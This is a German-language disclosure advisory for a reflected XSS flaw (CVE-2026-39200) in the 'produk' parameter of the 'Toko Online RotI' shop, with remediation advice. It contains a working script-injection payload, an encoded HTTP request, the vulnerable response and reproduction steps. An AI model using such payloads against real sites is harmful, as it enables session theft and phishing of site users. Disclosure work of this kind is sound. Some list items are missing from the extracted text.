
Der Wert des Produkt-Anfrageparameters wird in den Wert eines HTML-Tag-Attributs kopiert, das in doppelte Anführungszeichen eingekapselt ist. Der Payload xbnw0"><script>alert(1)</script>skc2h wurde im Produkt-Parameter übermittelt. Diese Eingabe wurde als xbnw0\"><script>alert(1)</script>skc2h in der Antwort der Anwendung zurückgegeben.
Eine reflektierte Cross-Site-Scripting (XSS)-Sicherheitslücke wurde im Anfrageparameter produk der Webanwendung Toko Online RotI identifiziert. Die Anwendung kodiert die benutzereingegebene Eingabe nicht HTML, bevor sie innerhalb eines HTML-Tag-Attributs zurückgespiegelt wird, das in doppelte Anführungszeichen eingeschlossen ist. Ein Angreifer kann eine bösartige URL erstellen, die beim Besuch durch ein Opfer beliebiges JavaScript im Kontext der Browsersitzung des Opfers ausführt.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-39200 |
| Sicherheitslücken-Typ | CWE-79 — Improper Neutralization of Input During Web Page Generation (Reflected XSS) |
| Betroffenes Produkt | Toko Online RotI (Indonesian online store) |
| Betroffener Parameter | produk |
| Entdecker | Uzair Ali (r00tali) — Penetration Tester / Bug Bounty Hunter |
| Entdeckungsdatum | 2026-07-03 |
| CVE zugewiesen | 2026-07-12 |
| Advisory veröffentlicht | 2026-07-19 |
Der Anfrageparameter produk wird wörtlich in den Wert eines HTML-Tag-Attributs übernommen, das in doppelte Anführungszeichen eingeschlossen ist. Da die Anwendung die benutzereingegebene Eingabe nicht HTML-kodiert, bevor sie zurückgespiegelt wird, kann ein Angreifer das Attribut durchbrechen, indem er eine Payload übermittelt, die ein schließendes doppeltes Anführungszeichen gefolgt von einer HTML/JavaScript-Payload enthält.
xbnw0"><script>alert(1)</script>skc2h
Wenn diese Payload als Parameter produk übermittelt wird, gibt die Anwendung die Eingabe unkodiert in die Antwort zurück. Das schließende "> beendet das ursprüngliche Attribut, und der injizierte <script>alert(1)</script>-Block wird vom Browser als neues HTML-Element interpretiert, wodurch beliebiges JavaScript in der Sitzung des Benutzers ausgeführt wird.
Die anfällige HTML-Antwort sieht wie folgt aus:
<!-- VOR Injection -->
<input type="text" name="produk" value="BENUTZEREINGABE" />
<!-- NACH Injection mit Payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser führt dies aus
GET /[anfälliger-endpunkt]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [ziel-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk innerhalb eines HTML-Attributs zurückgibt (z. B. eine Produktsuche, Detail- oder Filterseite).produk durch die folgende Payload:
xbnw0"><script>alert(1)</script>skc2h
" und erzeugt ein gültiges <script>-Element im DOM.alert(1)-Dialog wird angezeigt, was die Ausführung beliebigen JavaScripts in der Sitzung des Opfers bestätigt.Eine erfolgreiche Ausnutzung dieser reflektierten XSS ermöglicht einem Angreifer:
Da die Sicherheitslücke reflektiert ist, erfordert die Ausnutzung lediglich, dass ein Opfer auf einen erstellten Link klickt, was sie trivial für Phishing-Kampagnen bewaffnen lässt.
CVSS v3.1 (geschätzt): 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Um diese Sicherheitslücke zu beheben, sollte der Anbieter:
<, >, ", ' und & (z. B. <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) oder <%: %>-Syntax{{ input }} (standardmäßig automatisches Escaping)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly und Secure auf allen Sitzungscookies setzen, um zu verhindern, dass JavaScript diese lesen kann.produk gegen eine Positivliste erwarteter Produktidentifikatoren validieren (numerische IDs, Slugs usw.) und alles ablehnen, was nicht übereinstimmt.X-Content-Type-Options: nosniff hinzufügen, um MIME-Typ-Sniffing von Antworttexten zu verhindern.| Datum | Ereignis |
|---|---|
| 2026-07-03 | Sicherheitslücke während autorisierter Sicherheitstests entdeckt |
| 2026-07-03 | CVE-ID bei MITRE über cveform.mitre.org beantragt |
| 2026-07-12 | CVE-2026-39200 vom MITRE-Zuweisungsteam zugewiesen |
| 2026-07-19 | Öffentliches Advisory veröffentlicht |
Uzair Ali (r00tali) — Penetration Tester / Bug Bounty Hunter / Security Researcher
Dieses Advisory wird nur zu Bildungs- und Verteidigungszwecken veröffentlicht. Die Sicherheitslücke wurde durch den verantwortungsvollen Offenlegungsprozess über das MITRE CVE Assignment Team gemeldet. Es werden keine vertraulichen Anbieterinformationen, Kundendaten oder proprietärer Code offengelegt. Der Proof-of-Concept verwendet eine harmlose alert(1)-Payload und soll das Vorhandensein des Fehlers demonstrieren, nicht Angriffe auf den aktiven Dienst erleichtern.